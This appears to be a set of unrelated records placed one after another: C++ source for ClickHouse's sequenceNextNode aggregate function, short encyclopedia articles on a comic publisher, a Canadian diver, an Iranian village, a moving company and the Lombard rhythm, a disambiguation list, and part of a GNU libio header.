extern const int TOO_LARGE_ARRAY_SIZE;
}
namespace
{
enum class SequenceDirection : uint8_t
{
Forward,
Backward,
};
enum SequenceBase : uint8_t
{
Head,
Tail,
FirstMatch,
LastMatch,
};
/// This is for security
const UInt64 max_node_size_deserialize = 0xFFFFFF;
/// NodeBase used to implement a linked list for storage of SequenceNextNodeImpl
template <typename Node, size_t MaxEventsSize>
struct NodeBase
{
UInt64 size; /// size of payload
DataTypeDateTime::FieldType event_time;
std::bitset<MaxEventsSize> events_bitset;
bool can_be_base;
char * data() { return reinterpret_cast<char *>(this) + sizeof(Node); }
const char * data() const { return reinterpret_cast<const char *>(this) + sizeof(Node); }
Node * clone(Arena * arena) const
{
return reinterpret_cast<Node *>(
const_cast<char *>(arena->alignedInsert(reinterpret_cast<const char *>(this), sizeof(Node) + size, alignof(Node))));
}
void write(WriteBuffer & buf) const
{
writeVarUInt(size, buf);
buf.write(data(), size);
writeBinary(event_time, buf);
UInt64 ulong_bitset = events_bitset.to_ulong();
writeBinary(ulong_bitset, buf);
writeBinary(can_be_base, buf);
}
static Node * read(ReadBuffer & buf, Arena * arena)
{
UInt64 size;
readVarUInt(size, buf);
if (unlikely(size > max_node_size_deserialize))
throw Exception(ErrorCodes::TOO_LARGE_ARRAY_SIZE, "Too large node state size");
Node * node = reinterpret_cast<Node *>(arena->alignedAlloc(sizeof(Node) + size, alignof(Node)));
node->size = size;
buf.readStrict(node->data(), size);
readBinary(node->event_time, buf);
UInt64 ulong_bitset;
readBinary(ulong_bitset, buf);
node->events_bitset = ulong_bitset;
readBinary(node->can_be_base, buf);
return node;
}
};
/// It stores String, timestamp, bitset of matched events.
template <size_t MaxEventsSize>
struct NodeString : public NodeBase<NodeString<MaxEventsSize>, MaxEventsSize>
{
using Node = NodeString<MaxEventsSize>;
static Node * allocate(const IColumn & column, size_t row_num, Arena * arena)
{
StringRef string = assert_cast<const ColumnString &>(column).getDataAt(row_num);
Node * node = reinterpret_cast<Node *>(arena->alignedAlloc(sizeof(Node) + string.size, alignof(Node)));
node->size = string.size;
memcpy(node->data(), string.data, string.size);
return node;
}
void insertInto(IColumn & column)
{
assert_cast<ColumnString &>(column).insertData(this->data(), this->size);
}
bool compare(const Node * rhs) const
{
auto cmp = strncmp(this->data(), rhs->data(), std::min(this->size, rhs->size));
return (cmp == 0) ? this->size < rhs->size : cmp < 0;
}
};
/// TODO : Support other types than string
template <typename Node>
struct SequenceNextNodeGeneralData
{
using Allocator = MixedAlignedArenaAllocator<alignof(Node *), 4096>;
using Array = PODArray<Node *, 32, Allocator>;
Array value;
bool sorted = false;
struct Comparator final
{
bool operator()(const Node * lhs, const Node * rhs) const
{
return lhs->event_time == rhs->event_time ? lhs->compare(rhs) : lhs->event_time < rhs->event_time;
}
};
void sort()
{
if (!sorted)
{
std::stable_sort(std::begin(value), std::end(value), Comparator{});
sorted = true;
}
}
};
/// Implementation of sequenceFirstNode
template <typename T, typename Node>
class SequenceNextNodeImpl final
: public IAggregateFunctionDataHelper<SequenceNextNodeGeneralData<Node>, SequenceNextNodeImpl<T, Node>>
{
using Self = SequenceNextNodeImpl<T, Node>;
using Data = SequenceNextNodeGeneralData<Node>;
static Data & data(AggregateDataPtr __restrict place) { return *reinterpret_cast<Data *>(place); }
static const Data & data(ConstAggregateDataPtr __restrict place) { return *reinterpret_cast<const Data *>(place); }
static constexpr size_t base_cond_column_idx = 2;
static constexpr size_t event_column_idx = 1;
SequenceBase seq_base_kind;
SequenceDirection seq_direction;
const size_t min_required_args;
DataTypePtr & data_type;
UInt8 events_size;
UInt64 max_elems;
public:
SequenceNextNodeImpl(
const DataTypePtr & data_type_,
const DataTypes & arguments,
const Array & parameters_,
SequenceBase seq_base_kind_,
SequenceDirection seq_direction_,
size_t min_required_args_,
UInt64 max_elems_ = std::numeric_limits<UInt64>::max())
: IAggregateFunctionDataHelper<SequenceNextNodeGeneralData<Node>, Self>(arguments, parameters_, data_type_)
, seq_base_kind(seq_base_kind_)
, seq_direction(seq_direction_)
, min_required_args(min_required_args_)
, data_type(this->argument_types[0])
, events_size(arguments.size() - min_required_args)
, max_elems(max_elems_)
{
}
String getName() const override { return "sequenceNextNode"; }
bool haveSameStateRepresentationImpl(const IAggregateFunction & rhs) const override
{
return this->getName() == rhs.getName() && this->haveEqualArgumentTypes(rhs);
}
void insert(Data & a, const Node * v, Arena * arena) const
{
++a.total_values;
a.value.push_back(v->clone(arena), arena);
}
void create(AggregateDataPtr __restrict place) const override /// NOLINT
{
new (place) Data;
}
void add(AggregateDataPtr __restrict place, const IColumn ** columns, size_t row_num, Arena * arena) const override
{
Node * node = Node::allocate(*columns[event_column_idx], row_num, arena);
const auto timestamp = assert_cast<const ColumnVector<T> *>(columns[0])->getData()[row_num];
/// The events_bitset variable stores matched events in the form of bitset.
/// Each Nth-bit indicates that the Nth-event are matched.
/// For example, event1 and event3 is matched then the values of events_bitset is 0x00000005.
/// 0x00000000
/// + 1 (bit of event1)
/// + 4 (bit of event3)
node->events_bitset.reset();
for (UInt8 i = 0; i < events_size; ++i)
if (assert_cast<const ColumnVector<UInt8> *>(columns[min_required_args + i])->getData()[row_num])
node->events_bitset.set(i);
node->event_time = static_cast<DataTypeDateTime::FieldType>(timestamp);
node->can_be_base = assert_cast<const ColumnVector<UInt8> *>(columns[base_cond_column_idx])->getData()[row_num];
data(place).value.push_back(node, arena);
}
void merge(AggregateDataPtr __restrict place, ConstAggregateDataPtr rhs, Arena * arena) const override
{
if (data(rhs).value.empty())
return;
if (data(place).value.size() >= max_elems)
return;
auto & a = data(place).value;
auto & b = data(rhs).value;
const auto a_size = a.size();
const UInt64 new_elems = std::min(data(rhs).value.size(), static_cast<size_t>(max_elems) - data(place).value.size());
for (UInt64 i = 0; i < new_elems; ++i)
a.push_back(b[i]->clone(arena), arena);
/// Either sort whole container or do so partially merging ranges afterwards
using Comparator = typename SequenceNextNodeGeneralData<Node>::Comparator;
if (!data(place).sorted && !data(rhs).sorted)
std::stable_sort(std::begin(a), std::end(a), Comparator{});
else
{
const auto begin = std::begin(a);
const auto middle = std::next(begin, a_size);
const auto end = std::end(a);
if (!data(place).sorted)
std::stable_sort(begin, middle, Comparator{});
if (!data(rhs).sorted)
std::stable_sort(middle, end, Comparator{});
std::inplace_merge(begin, middle, end, Comparator{});
}
data(place).sorted = true;
}
void serialize(ConstAggregateDataPtr __restrict place, WriteBuffer & buf, std::optional<size_t> /* version */) const override
{
/// Temporarily do a const_cast to sort the values. It helps to reduce the computational burden on the initiator node.
this->data(const_cast<AggregateDataPtr>(place)).sort();
writeBinary(data(place).sorted, buf);
auto & value = data(place).value;
size_t size = std::min(static_cast<size_t>(events_size + 1), value.size());
switch (seq_base_kind)
{
case SequenceBase::Head:
writeVarUInt(size, buf);
for (size_t i = 0; i < size; ++i)
value[i]->write(buf);
break;
case SequenceBase::Tail:
writeVarUInt(size, buf);
for (size_t i = 0; i < size; ++i)
value[value.size() - size + i]->write(buf);
break;
case SequenceBase::FirstMatch:
case SequenceBase::LastMatch:
writeVarUInt(value.size(), buf);
for (auto & node : value)
node->write(buf);
break;
}
}
void deserialize(AggregateDataPtr __restrict place, ReadBuffer & buf, std::optional<size_t> /* version */, Arena * arena) const override
{
readBinary(data(place).sorted, buf);
UInt64 size;
readVarUInt(size, buf);
if (unlikely(size == 0))
return;
if (unlikely(size > max_node_size_deserialize))
throw Exception(ErrorCodes::TOO_LARGE_ARRAY_SIZE,
"Too large array size (maximum: {})", max_node_size_deserialize);
auto & value = data(place).value;
value.resize(size, arena);
for (UInt64 i = 0; i < size; ++i)
value[i] = Node::read(buf, arena);
}
std::optional<size_t> getBaseIndex(Data & data) const
{
if (data.value.size() == 0)
return {};
switch (seq_base_kind)
{
case SequenceBase::Head:
if (data.value[0]->can_be_base)
return 0;
break;
case SequenceBase::Tail:
if (data.value[data.value.size() - 1]->can_be_base)
return data.value.size() - 1;
break;
case SequenceBase::FirstMatch:
for (size_t i = 0; i < data.value.size(); ++i)
{
if (data.value[i]->events_bitset.test(0) && data.value[i]->can_be_base)
return i;
}
break;
case SequenceBase::LastMatch:
for (size_t i = 0; i < data.value.size(); ++i)
{
auto reversed_i = data.value.size() - i - 1;
if (data.value[reversed_i]->events_bitset.test(0) && data.value[reversed_i]->can_be_base)
return reversed_i;
}
break;
}
return {};
}
/// This method returns an index of next node that matched the events.
/// matched events in the chain of events are represented as a bitmask.
/// The first matched event is 0x00000001, the second one is 0x00000002, the third one is 0x00000004, and so on.
UInt32 getNextNodeIndex(Data & data) const
{
const UInt32 unmatched_idx = static_cast<UInt32>(data.value.size());
if (data.value.size() <= events_size)
return unmatched_idx;
data.sort();
std::optional<size_t> base_opt = getBaseIndex(data);
if (!base_opt.has_value())
return unmatched_idx;
UInt32 base = static_cast<UInt32>(base_opt.value());
if (events_size == 0)
return data.value.size() > 0 ? base : unmatched_idx;
UInt32 i = 0;
switch (seq_direction)
{
case SequenceDirection::Forward:
for (i = 0; i < events_size && base + i < data.value.size(); ++i)
if (!data.value[base + i]->events_bitset.test(i))
break;
return (i == events_size) ? base + i : unmatched_idx;
case SequenceDirection::Backward:
for (i = 0; i < events_size && i < base; ++i)
if (!data.value[base - i]->events_bitset.test(i))
break;
return (i == events_size) ? base - i : unmatched_idx;
}
}
void insertResultInto(AggregateDataPtr __restrict place, IColumn & to, Arena *) const override
{
auto & value = data(place).value;
UInt32 event_idx = getNextNodeIndex(this->data(place));
if (event_idx < value.size())
{
ColumnNullable & to_concrete = assert_cast<ColumnNullable &>(to);
value[event_idx]->insertInto(to_concrete.getNestedColumn());
to_concrete.getNullMapData().push_back(0);
}
else
{
to.insertDefault();
}
}
bool allocatesMemoryInArena() const override { return true; }
};
template <typename T>
inline AggregateFunctionPtr createAggregateFunctionSequenceNodeImpl(
const DataTypePtr data_type, const DataTypes & argument_types, const Array & parameters, SequenceDirection direction, SequenceBase base)
{
return std::make_shared<SequenceNextNodeImpl<T, NodeString<max_events_size>>>(
data_type, argument_types, parameters, base, direction, min_required_args);
}
AggregateFunctionPtr
createAggregateFunctionSequenceNode(const std::string & name, const DataTypes & argument_types, const Array & parameters, const Settings * settings)
{
if (settings == nullptr || !settings->allow_experimental_funnel_functions)
{
throw Exception(ErrorCodes::UNKNOWN_AGGREGATE_FUNCTION, "Aggregate function {} is experimental. "
"Set `allow_experimental_funnel_functions` setting to enable it", name);
}
if (parameters.size() < 2)
throw Exception(ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH,
"Aggregate function '{}' requires 2 parameters (direction, head)", name);
auto expected_param_type = Field::Types::Which::String;
if (parameters.at(0).getType() != expected_param_type || parameters.at(1).getType() != expected_param_type)
throw Exception(ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT, "Aggregate function '{}' requires 'String' parameters", name);
String param_dir = parameters.at(0).safeGet<String>();
std::unordered_map<std::string, SequenceDirection> seq_dir_mapping{
{"forward", SequenceDirection::Forward},
{"backward", SequenceDirection::Backward},
};
if (!seq_dir_mapping.contains(param_dir))
throw Exception(ErrorCodes::BAD_ARGUMENTS, "Aggregate function {} doesn't support a parameter: {}", name, param_dir);
SequenceDirection direction = seq_dir_mapping[param_dir];
String param_base = parameters.at(1).safeGet<String>();
std::unordered_map<std::string, SequenceBase> seq_base_mapping{
{"head", SequenceBase::Head},
{"tail", SequenceBase::Tail},
{"first_match", SequenceBase::FirstMatch},
{"last_match", SequenceBase::LastMatch},
};
if (!seq_base_mapping.contains(param_base))
throw Exception(ErrorCodes::BAD_ARGUMENTS, "Aggregate function {} doesn't support a parameter: {}", name, param_base);
SequenceBase base = seq_base_mapping[param_base];
if ((base == SequenceBase::Head && direction == SequenceDirection::Backward) ||
(base == SequenceBase::Tail && direction == SequenceDirection::Forward))
throw Exception(ErrorCodes::BAD_ARGUMENTS, "Invalid argument combination of '{}' with '{}'", param_base, param_dir);
if (argument_types.size() < min_required_args)
throw Exception(ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH,
"Aggregate function {} requires at least {} arguments.", name, toString(min_required_args));
bool is_base_match_type = base == SequenceBase::FirstMatch || base == SequenceBase::LastMatch;
if (is_base_match_type && argument_types.size() < min_required_args + 1)
throw Exception(ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH,
"Aggregate function {} requires at least {} arguments when base is first_match or last_match.",
name, toString(min_required_args + 1));
if (argument_types.size() > max_events_size + min_required_args)
throw Exception(ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH,
"Aggregate function '{}' requires at most {} (timestamp, value_column, ...{} events) arguments.",
name, max_events_size + min_required_args, max_events_size);
if (const auto * cond_arg = argument_types[2].get(); cond_arg && !isUInt8(cond_arg))
throw Exception(ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT, "Illegal type {} of third argument of aggregate function {}, "
"must be UInt8", cond_arg->getName(), name);
for (const auto i : collections::range(min_required_args, argument_types.size()))
{
const auto * cond_arg = argument_types[i].get();
if (!isUInt8(cond_arg))
throw Exception(ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT,
"Illegal type '{}' of {} argument of aggregate function '{}', must be UInt8", cond_arg->getName(), i + 1, name);
}
if (WhichDataType(argument_types[1].get()).idx != TypeIndex::String)
throw Exception(ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT,
"Illegal type {} of second argument of aggregate function {}, must be String",
argument_types[1].get()->getName(), name);
DataTypePtr data_type = makeNullable(argument_types[1]);
WhichDataType timestamp_type(argument_types[0].get());
if (timestamp_type.idx == TypeIndex::UInt8)
return createAggregateFunctionSequenceNodeImpl<UInt8>(data_type, argument_types, parameters, direction, base);
if (timestamp_type.idx == TypeIndex::UInt16)
return createAggregateFunctionSequenceNodeImpl<UInt16>(data_type, argument_types, parameters, direction, base);
if (timestamp_type.idx == TypeIndex::UInt32)
return createAggregateFunctionSequenceNodeImpl<UInt32>(data_type, argument_types, parameters, direction, base);
if (timestamp_type.idx == TypeIndex::UInt64)
return createAggregateFunctionSequenceNodeImpl<UInt64>(data_type, argument_types, parameters, direction, base);
if (timestamp_type.isDate())
return createAggregateFunctionSequenceNodeImpl<DataTypeDate::FieldType>(data_type, argument_types, parameters, direction, base);
if (timestamp_type.isDateTime())
return createAggregateFunctionSequenceNodeImpl<DataTypeDateTime::FieldType>(data_type, argument_types, parameters, direction, base);
throw Exception(ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT,
"Illegal type {} of first argument of aggregate function {}, must "
"be Unsigned Number, Date, DateTime", argument_types.front().get()->getName(), name);
}
}
void registerAggregateFunctionSequenceNextNode(AggregateFunctionFactory & factory)
{
AggregateFunctionProperties properties = { .returns_default_when_only_null = true, .is_order_dependent = false };
factory.registerFunction("sequenceNextNode", { createAggregateFunctionSequenceNode, properties });
}
}
``` |
Mad Cave Studios (also known simply as Mad Cave) is an independent comic book publisher based out of Miami, Florida; it was established in 2014. Mad Cave has published a range of comic books and trade paperbacks which were originally distributed by Diamond Comic Distributors.
Overview
The publisher was founded in 2014 by Mark London. In February 2018, Mad Cave published the first issue of its flagship title, Battlecats. It released a second series, Midnight Task Force that July. In November 2018, Mad Cave Studios released the first issue of Knights of the Golden Sun. Their fourth title Honor and Curse launched in February 2019.
Digital versions of their comics are available at ComiXology and Drive Thru Comics.
Talent Search
In 2018 Mad Cave ran a Talent Search for new comic book writers and artists. Finalists worked on comic books for Mad Cave. The comic book Show's End was the first title to feature work from the 2018 Talent Search winners, launching in August 2019. The Talent Search was run again in 2019 for both writers and artists.
The third Talent Search from June 1-September 1, 2020. Six winners had their work published in an anthology comic book. In September they announced a young adult graphic novel imprint called Maverick to debut in the fall of 2021.
Titles
Battlecats
Battlecats, set in a medieval fantasy venue, concerns a war between the noble Battlecats and the forces of the Dire Beast. It is written by Mark London with art by Michael Camelo and Julian Gonzalez. A Trade Paperback collection of the first volume was released in July 2018. A second volume began in May 2019. A spinoff anthology Battlecats: Tales of Valderia launched in February 2020 with various creators exploring the history of the Battlecats world.
Reception of the series has been mixed. Reviewing the inaugural issue, Christina Williams of On Comics Ground was impressed by the art and praised the writings balance between dialogue and action, whereas Joshua Davidson of Bleeding Cool News called the issue an "underwhelming" debut from the new publisher.
Midnight Task Force
Midnight Task Force is a cyberpunk comic set in the year 2055. Schizophrenic detective Aiden attempts to solve a series of murders in Detroit while also striving to conceal his condition. The series is written by Mark London and illustrated by Alejandro Girlado. A trade paperback collection of the first volume was released in July 2019.
Knights of the Golden Sun
This Biblically-based title concerns about a battle between archangels and fallen angels which takes place between the Old and New Testaments. It is written by Mark London and illustrated by Mauricio Villareal. It was the first Mad Cave comic to get a second printing. The title returned in December 2020 with #8 of the series, created by the same team.
Honor and Curse
This is a Martial arts comic book taking place feudal Japan. It is written by Mark London and illustrated by Nicolás Salamanca. The first issue was released in February 2019 and the series ran for six issues. The first two issues sold out completely at the distributor level and both issues received second printings. The title returned in January, 2021 with #7 of the series created by the same team.
Show's End
A horror comic book set in the 1920s against the background of a travelling carnival, Show's End is written by Anthony Cleveland and illustrated by Jeferson Sadzinski. It debuted in August 2019.
WolvenHeart
Thie series concerns Sterling Cross, a monster-hunting time traveler from the 19t century who works for the eponymous WolvenHeart organization. This began in October 2019. Writer Mark London and illustrator Alejandro Girlado re-teamed after having worked on the earlier Midnight Task Force.
RV9
This is a science fiction action comic following the assassin Velveteen as she battles against the Order of the 9 in the year 2055. Written by Ben Goldsmith and art by Travis Mercer, the series debuted in November 2019.
Over the Ropes
This is set in a fictional 1990s wrestling league. It was initially released for Local Comic Shop Day in November 2019, before the wider release of #1 in December 2019.
Savage Bastards
This is a Western comic set in the 1870s. It is written by David Galiano and illustrated by Carlos Angeli. The first issue was released in February 2020
Hellfighter Quin
This is a fantasy action series following Quinlan Jones, the masked vigilante of Harlem who is forced into a multidimensional fighting contest for control of the Azure Sun artifact. It is scripted by Jay Sandlin and illustrated by Atagun Ilhan. The first issue was released in March 2020.
Stargazer
This title is a science fiction drama series centering around a quartet of characters who were abducted by aliens as children, and then twenty years later have to deal with the return of aliens to Earth. It is written by Anthony Cleveland and drawn by Antonio Fuso. Originally planned for spring 2020, the series was delayed by the COVID-19 pandemic and so debuted in September, 2020. The first issue sold out at distributor level and received a second printing limited to 1,000 copies.
Dry Foot
This is a coming of age story set in 1980s Miami. Here, four teens plan to escape the drugs and violence of the city by planning a heist on the city's most dangerous gang. It is written by Jarred Lujan with art from Orlando Caicedo. As with Stargazer, this series' debut was planned for spring 2020 but delayed by the COVID-19 pandemic and debuted in September, 2020. The first issue sold out at distributor level and received a second printing limited to 1,000 copies.
Trade paperback collections
Battlecats Volume 1: The Hunt for The Dire Beast (reprints Battlecats Vol. 1 #1–5, ) 2018
Battlecats Volume 2: Fallen Legacy (reprints Battlecats Vol. 2 #1–6, ) 2019
Battlecats: Tales of Valderia (reprints Battlecats: Tales of Valderia #1-4 and Battlecats Halloween Fest 2019, ) 2020
Dry Foot (reprints Dry Foot #1-4, ) 2021
Hellfighter Quin (reprints Hellfighter Quin #1-5, ) 2020
Honor and Curse Volume 1: Torn (reprints Honor and Curse #1–6, ) 2019
Knights of the Golden Sun Volume 1: Providence Lost (reprints Knights of the Golden Sun #1–7, ) 2019
Midnight Task Force Volume 1: Hidden Voices (reprints Midnight Task Force #1–4, ) 2019
Over the Ropes (reprints Over the Ropes #1-5, ) 2020
RV9 (reprints RV9 #1-5, ) 2020
Savage Bastards (reprints Savage Bastards #1-5, 2020
Show's End (reprints Show's End #1–5, ) 2020
WolvenHeart Volume 1: Legendary Slayer (reprints WolvenHeart'' #1-7, ) 2020
References
External links
Official Website
Mad Cave Studios YouTube channel
Book publishing companies based in Florida
Comic book publishing companies of the United States
2014 establishments in Florida
American companies established in 2014 |
David Peter Bédard (born October 23, 1965) is a retired diver from Canada, who represented his native country at four consecutive Summer Olympics, starting in 1984. He twice won a medal at the Pan American Games (1987 and 1995). He won a silver medal at the 1986 Commonwealth Games and two silver medals at the 1990 Commonwealth Games.
References
External links
1965 births
Canadian male divers
Commonwealth Games silver medallists for Canada
French Quebecers
Olympic divers for Canada
Divers at the 1986 Commonwealth Games
Divers at the 1990 Commonwealth Games
Divers at the 1994 Commonwealth Games
Divers at the 1984 Summer Olympics
Divers at the 1988 Summer Olympics
Divers at the 1992 Summer Olympics
Divers at the 1996 Summer Olympics
Divers at the 1995 Pan American Games
Living people
Divers from Montreal
Pan American Games bronze medalists for Canada
Commonwealth Games medallists in diving
Pan American Games medalists in diving
Divers at the 1987 Pan American Games
Medalists at the 1987 Pan American Games
Medalists at the 1995 Pan American Games
Medallists at the 1986 Commonwealth Games
Medallists at the 1990 Commonwealth Games |
Qaleh-ye Nasir (, also Romanized as Qal‘eh-ye Naşīr; also known as Helāl and Qal‘eh-ye Nāşer) is a village in Ben Moala Rural District, in the Central District of Shush County, Khuzestan Province, Iran. At the 2006 census, its population was 271, in 41 families.
References
Populated places in Shush County |
Seven Santini Brothers (also Santini Brothers, Inc.) was a full-service American moving, storage, and relocation company that was founded by seven Italian immigrants. The seven brothers were Pasquale, Pietro, Paride, Rinaldo, Agostino, Goffredo, and Martino, five of whom started the business in 1905, with the last two others joining in 1907. The firm dissolved in 1993.
History
Pasquale Santini, the eldest of the seven sons of a farmer living in the Tuscan Hills of Italy, decided to join the tide of immigration to America, the land of opportunity. In 1896 he went to America where he got a job with a cousin who was in the moving business. After saving enough money to send for his brother Pietro, and with the two of them working, they were able to send for three more of their brothers. In April 1905, the five brothers decided to start a moving business of their own in the Bronx, New York. By 1907 they amassed sufficient money to send for the two remaining younger brothers. Their inherent honesty, promptness, courtesy, and care in handling of all materials soon earned them a fine reputation which, originally by word of mouth, spread throughout the entire area.
From 1913, the company was located in a building at 607-609 Jackson Avenue. In the mid-1920s Santini acquired the ten-story building at 1405-1417 Jerome Avenue on the corner of 170th Street. This became their main office, while their Jackson Avenue facility became a branch office. An ad for the Seven Santini Bros. from 1935 gives their address as 1405 Jerome Avenue.
In 1935, Pasquale Santini died at the age of 61. His obituary notice in the New York Herald Tribune credited him with founding Santini Brothers. In 1954, Paride Santini, age 75, died. His obituary in The New York Times read:
Goffredo (Godfrey E.) Santini remained as president and chairman of the board until he died in 1956. Leadership of the firm was then turned over to Martin, who retired in 1964, and then Goffredo's son Godfrey F. Santini. Rinaldo was the last to die in 1980.
Goffredo attributed the success of the Santini organization to "a genuine desire to do a good job, and sincere interest in the customer's problem in a spirit of helpfulness... while we are in business for gain, we always consider profit as secondary importance to a job well done. A satisfied customer will pay dividends in the long run."
Ultimately the Seven Santini Brothers grew into one of the world's largest moving, packing and shipping organizations, with offices and warehousing facilities from coast to coast and in six foreign countries. Their notable clients included the Smithsonian, the Museum of Modern Art, Joseph Hirshhorn, the Estate of American painter Morris Louis, and the Chrysler Museum of Art, and one of their renowned employees was James Lebron, a master art handler and installer.
In 1974, Santini opened industrial packing facilities in Houston and Galveston to service their oil and energy industry clients. In 1981, part of a Bronx park was renamed to Seven Brothers Square, honoring the company.
As economic conditions changed, the Santini family eventually sold the company to another moving and storage company in 1988, whereupon the new owners decided to dismantle and sell the various operations of the company. By 1993, the company was completely dissolved.
References
Further reading
History - Seven Santini Brothers
Local & Long Distance Moving Company
Moving companies of the United States
Agent-owned companies
Transport companies established in 1905
Transport companies established in 1907
1905 establishments in New York City
1907 establishments in New York City
Companies based in the Bronx |
The Lombard rhythm or Scotch snap is a syncopated musical rhythm in which a short, accented note is followed by a longer one. This reverses the pattern normally associated with dotted notes or notes inégales, in which the longer value precedes the shorter.
In Baroque music, a Lombard rhythm consists of a stressed sixteenth note, or semiquaver, followed by a dotted eighth note, or dotted quaver.
Baroque composers often implemented these rhythms. For instance, Johann Georg Pisendel utilized Lombard rhythms within the largo and allegro sections of his sonata for Violin Solo in A Minor. Carl Philipp Emanuel Bach included dotted rhythms within certain excerpts of his concerto for flute, cello, and keyboard.
Not only did Baroque performers and composers such as Johann Joachim Quantz, introduce these uneven rhythms in their studies and pedagogy, but Jazz also possesses these rhythms which are in the very essence of its style.
In Scottish country dances, the Scotch snap (or Scots snap) is a prominent feature of the strathspey.
Due to the immigration of Scots to Appalachia, elements of Scottish music such as the Lombard rhythm have been appropriated into popular music forms of the 20th and 21st century. In modern North American pop and rap music, the Lombard rhythm is very common; recentreleases by Post Malone, Cardi B, and Ariana Grande feature the Scotch snap. Grande's song ‘7 Rings’ was the subject of controversy surrounding this rhythm, wherein several hip-hop artists (Princess Nokia and Soulja Boy) who had used the rhythm in an iconic fashion raised accusations of plagiarism.
References
Babitz, Sol. “A Problem of Rhythm in Baroque Music.” The Musical Quarterly 38, no. 4 (October 1952): 533-565. https://www.jstor.org/stable/740138
Fuller, David. “Notes inégales (Fr.: ‘unequal notes’),” Grove Music Online (January 2001) https://doi.org/10.1093/gmo/9781561592630.article.20126
Gábor, Elod and Ignác-Csaba FILIP. “Johann Georg Pisendel: Sonata for Violin Solo in A Minor.” Series VIII: Performing Arts 12, no. 61 (2019): pp. 72-76. https://doi.org/10.31926/but.pa.2019.12.61.30
Miller, Leta. “C.P.E. Bach’s Instrumental ‘Recompositions’: Revisions or Alternatives?” Current Musicology 59, (1995) p. 29.
Further reading
Baroque music
Rhythm and meter
Scottish country dance
Scottish fiddling
Scottish folk music |
Live at Last may refer to:
Albums
Live at Last (Black Sabbath album)
Live at Last (Bette Midler album)
Live at Last (Enchant album)
Live at Last (Maghostut Trio album)
Live at Last (The Slickee Boys album)
Live at Last (Steeleye Span album)
Live at Last, an album by the Subdudes
Videos
Live at Last (The Charlatans video)
Live at Last (Anastacia video) |
```objective-c
This file is part of the GNU IO Library.
Written by Per Bothner <bothner@cygnus.com>.
This library is free software; you can redistribute it and/or
published by the Free Software Foundation; either version 2, or (at
your option) any later version.
This library is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
along with this library; see the file COPYING. If not, write to
the Free Software Foundation, 59 Temple Place - Suite 330, Boston,
MA 02111-1307, USA.
As a special exception, if you link this library with files
compiled with a GNU compiler to produce an executable, this does
not cause the resulting executable to be covered by the GNU General
other reasons why the executable file might be covered by the GNU
#ifndef _IO_STDIO_H
#define _IO_STDIO_H
#include <_G_config.h>
/* ALL of these should be defined in _G_config.h */
#define _IO_pos_t _G_fpos_t /* obsolete */
#define _IO_fpos_t _G_fpos_t
#define _IO_fpos64_t _G_fpos64_t
#define _IO_size_t _G_size_t
#define _IO_ssize_t _G_ssize_t
#define _IO_off_t _G_off_t
#define _IO_off64_t _G_off64_t
#define _IO_pid_t _G_pid_t
#define _IO_uid_t _G_uid_t
#define _IO_iconv_t _G_iconv_t
#define _IO_HAVE_SYS_WAIT _G_HAVE_SYS_WAIT
#define _IO_HAVE_ST_BLKSIZE _G_HAVE_ST_BLKSIZE
#define _IO_BUFSIZ _G_BUFSIZ
#define _IO_va_list _G_va_list
#define _IO_wint_t _G_wint_t
#ifdef _G_NEED_STDARG_H
/* This define avoids name pollution if we're using GNU stdarg.h */
# define __need___va_list
# include <stdarg.h>
# ifdef __GNUC_VA_LIST
# undef _IO_va_list
# define _IO_va_list __gnuc_va_list
# endif /* __GNUC_VA_LIST */
#endif
#ifndef __THROW
# ifdef __cplusplus
# define __THROW throw ()
# else
# define __THROW
# endif
#endif /* not __THROW */
#ifndef __P
# define __P(p) p __THROW
#endif /* not __P */
#ifndef __PMT
# define __PMT(p) p
#endif /* not __PMT */
/* For backward compatibility */
#ifndef _PARAMS
# define _PARAMS(protos) __P(protos)
#endif /*!_PARAMS*/
#ifndef __STDC__
# ifndef const
# define const
# endif
#endif
#define _IO_UNIFIED_JUMPTABLES 1
#ifndef _G_HAVE_PRINTF_FP
# define _IO_USE_DTOA 1
#endif
#ifndef EOF
# define EOF (-1)
#endif
#ifndef NULL
# if defined __GNUG__ && \
(__GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 8))
# define NULL (__null)
# else
# if !defined(__cplusplus)
# define NULL ((void*)0)
# else
# define NULL (0)
# endif
# endif
#endif
#define _IOS_INPUT 1
#define _IOS_OUTPUT 2
#define _IOS_ATEND 4
#define _IOS_APPEND 8
#define _IOS_TRUNC 16
#define _IOS_NOCREATE 32
#define _IOS_NOREPLACE 64
#define _IOS_BIN 128
/* Magic numbers and bits for the _flags field.
The magic numbers use the high-order bits of _flags;
the remaining bits are available for variable flags.
Note: The magic numbers must all be negative if stdio
emulation is desired. */
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
/* These are "formatting flags" matching the iostream fmtflags enum values. */
#define _IO_SKIPWS 01
#define _IO_LEFT 02
#define _IO_RIGHT 04
#define _IO_INTERNAL 010
#define _IO_DEC 020
#define _IO_OCT 040
#define _IO_HEX 0100
